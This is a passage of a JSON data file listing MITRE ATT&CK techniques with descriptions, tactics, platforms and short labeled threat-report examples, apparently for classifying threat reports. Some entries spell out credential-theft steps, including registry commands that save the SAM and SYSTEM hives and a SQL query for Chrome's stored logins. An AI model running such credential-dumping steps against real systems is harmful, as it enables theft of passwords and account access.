account through Application Access Token. Application access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens, allowing them to obtain new access tokens without prompting the user.\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Office Suite, SaaS\nLabeled report example: * Stealing session files from applications, including Discord, Steam, Telegram, and Authy" + }, + { + "id": "T1041", + "text": "ATT&CK technique: T1041 Exfiltration Over C2 Channel\nDescription: Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.\nTactics: exfiltration\nPlatforms: ESXi, Linux, Windows, macOS\nLabeled report example: The threat actor has an Osiris C2 server that is located at http://ylnfkeznzg7o4xjf[.]onion/kpanel/connect.php, which has been instructing infected systems to steal and exfiltrate web browser and email credentials." + }, + { + "id": "T1557", + "text": "ATT&CK technique: T1557 Adversary-in-the-Middle\nDescription: Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS\nLabeled report example: If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials." + }, + { + "id": "T1005", + "text": "ATT&CK technique: T1005 Data from Local System\nDescription: Adversaries may search local system sources, such as file systems, configuration files, local databases, virtual machine files, or process memory, to find files of interest and sensitive data prior to Exfiltration. Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information. Adversaries may also use Automated Collection on the local system.\nTactics: collection\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: In the following fragment, can be seen the code of the function used by the “ACT” command which appears only in some samples to exfiltrate the title of the window on which the user is working." + }, + { + "id": "T1021", + "text": "ATT&CK technique: T1021 Remote Services\nDescription: Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\nTactics: lateral movement\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: Its features include remote desktop, logging keystrokes, stealing credentials, capturing microphone and webcam, and many more." + }, + { + "id": "T1125", + "text": "ATT&CK technique: T1125 Video Capture\nDescription: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Aside from keystroke logging, the M00nD3VLoggerhas the ability to steal confidential information such as browser passwords, FTP client passwords, email client passwords, DynDNS credentials, JDownloader credentials and capture Windows Keystrokes, as well as gain access to the webcam and hook the clipboard." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: Ares Stealer collects detailed system information and harvests credentials for numerous applications including FTP clients, VPN clients, web browsers, instant messengers, and email clients." + }, + { + "id": "T1114", + "text": "ATT&CK technique: T1114 Email Collection\nDescription: Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Emails may also contain details of ongoing incident response operations, which may allow adversaries to adjust their techniques in order to maintain persistence or evade defenses. Adversaries can collect or forward email from mail servers or clients.\nTactics: collection\nPlatforms: Linux, Office Suite, Windows, macOS\nLabeled report example: * Ability to steal a victim’s Outlook contacts via [Nirsoft’s OutlookAddressBookView](https://www.nirsoft.net/utils/outlook_address_book_view.html) utility" + }, + { + "id": "T1587", + "text": "ATT&CK technique: T1587 Develop Capabilities\nDescription: Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle. As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.\nTactics: resource development\nPlatforms: PRE\nLabeled report example: The regime also developed a remote access tool for Android and iPhone mobile devices as part of a project dubbed Project 220." + }, + { + "id": "T1566", + "text": "ATT&CK technique: T1566 Phishing\nDescription: Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\nTactics: initial access\nPlatforms: Identity Provider, Linux, Office Suite, SaaS, Windows, macOS\nLabeled report example: In a few variants of the phishing landing pages, we observed that the final landing page used an external JavaScript to display the credential-phishing page in the browser." + }, + { + "id": "T1059", + "text": "ATT&CK technique: T1059 Command and Scripting Interpreter\nDescription: Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell. There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic. Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.\nTactics: execution\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS\nLabeled report example: Ave Maria is a remote access trojan, written in C++, that is capable of process and file system manipulation, command shell access, webcam control, keylogging, password theft, and remote desktop access." + }, + { + "id": "T1565", + "text": "ATT&CK technique: T1565 Data Manipulation\nDescription: Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.\nTactics: impact\nPlatforms: Linux, Windows, macOS\nLabeled report example: CyberGate allows an attacker to browse and manipulate files, devices, and settings on the victim's machine as well as download and execute additional malware." + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1573", + "text": "ATT&CK technique: T1573 Encrypted Channel\nDescription: Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.\nTactics: command and control\nPlatforms: ESXi, Linux, Network Devices, Windows, macOS\nLabeled report example: AsyncRAT is an open-source RAT designed to remotely monitor and control other computers through a secure encrypted connection." + }, + { + "id": "T1003", + "text": "ATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1589", + "text": "ATT&CK technique: T1589 Gather Victim Identity Information\nDescription: Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, security question responses, etc.) as well as sensitive details such as credentials or multi-factor authentication (MFA) configurations. Adversaries may gather this information in various ways, such as direct elicitation via Phishing for Information. Information about users could also be enumerated via other active means (i.e. Active Scanning) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system or permitted MFA /methods associated with those usernames. Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: Social Media or Search Victim-Owned Websites). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: Phishing or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1552.007", + "text": "ATT&CK technique: T1552.007 Container API\nDescription: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components. An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.\nTactics: credential access\nPlatforms: Containers" + }, + { + "id": "T1556.003", + "text": "ATT&CK technique: T1556.003 Pluggable Authentication Modules\nDescription: Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow. Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials. Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.\nTactics: credential access, defense impairment, persistence\nPlatforms: Linux, macOS" + }, + { + "id": "T1555.003", + "text": "ATT&CK technique: T1555.003 Credentials from Web Browsers\nDescription: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the Windows Credential Manager. Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1078", + "text": "ATT&CK technique: T1078 Valid Accounts\nDescription: Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence. In some cases, adversaries may abuse inactive accounts: for example, those belonging to individuals who are no longer part of an organization. Using these accounts may allow the adversary to evade detection, as the original account user will not be present to identify any anomalous activity taking place on their account. The overlap of permissions for local, domain, and cloud accounts across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1003.004", + "text": "ATT&CK technique: T1003.004 LSA Secrets\nDescription: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory. Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1213.003", + "text": "ATT&CK technique: T1213.003 Code Repositories\nDescription: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts. **Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1003.002", + "text": "ATT&CK technique: T1003.002 Security Account Manager\nDescription: Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the net user command. Enumerating the SAM database requires SYSTEM level access. A number of tools can be used to retrieve the SAM file through in-memory techniques: * pwdumpx.exe * gsecdump * Mimikatz * secretsdump.py Alternatively, the SAM can be extracted from the Registry with Reg: * reg save HKLM\\sam sam * reg save HKLM\\system system Creddump7 can then be used to process the SAM database locally to retrieve hashes. Notes: * RID 500 account is the local, built-in administrator. * RID 501 is the guest account. * User accounts start with a RID of 1,000+.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1033", + "text": "ATT&CK technique: T1033 System Owner/User Discovery\nDescription: Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping. The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Various utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information. On network devices, Network Device CLI commands such as `show users` and `show ssh` can be used to display users currently logged into the device.\nTactics: discovery\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1556", + "text": "ATT&CK technique: T1556 Modify Authentication Process\nDescription: Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts. Adversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.\nTactics: credential access, defense impairment, persistence\nPlatforms: IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1552", + "text": "ATT&CK technique: T1552 Unsecured Credentials\nDescription: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain 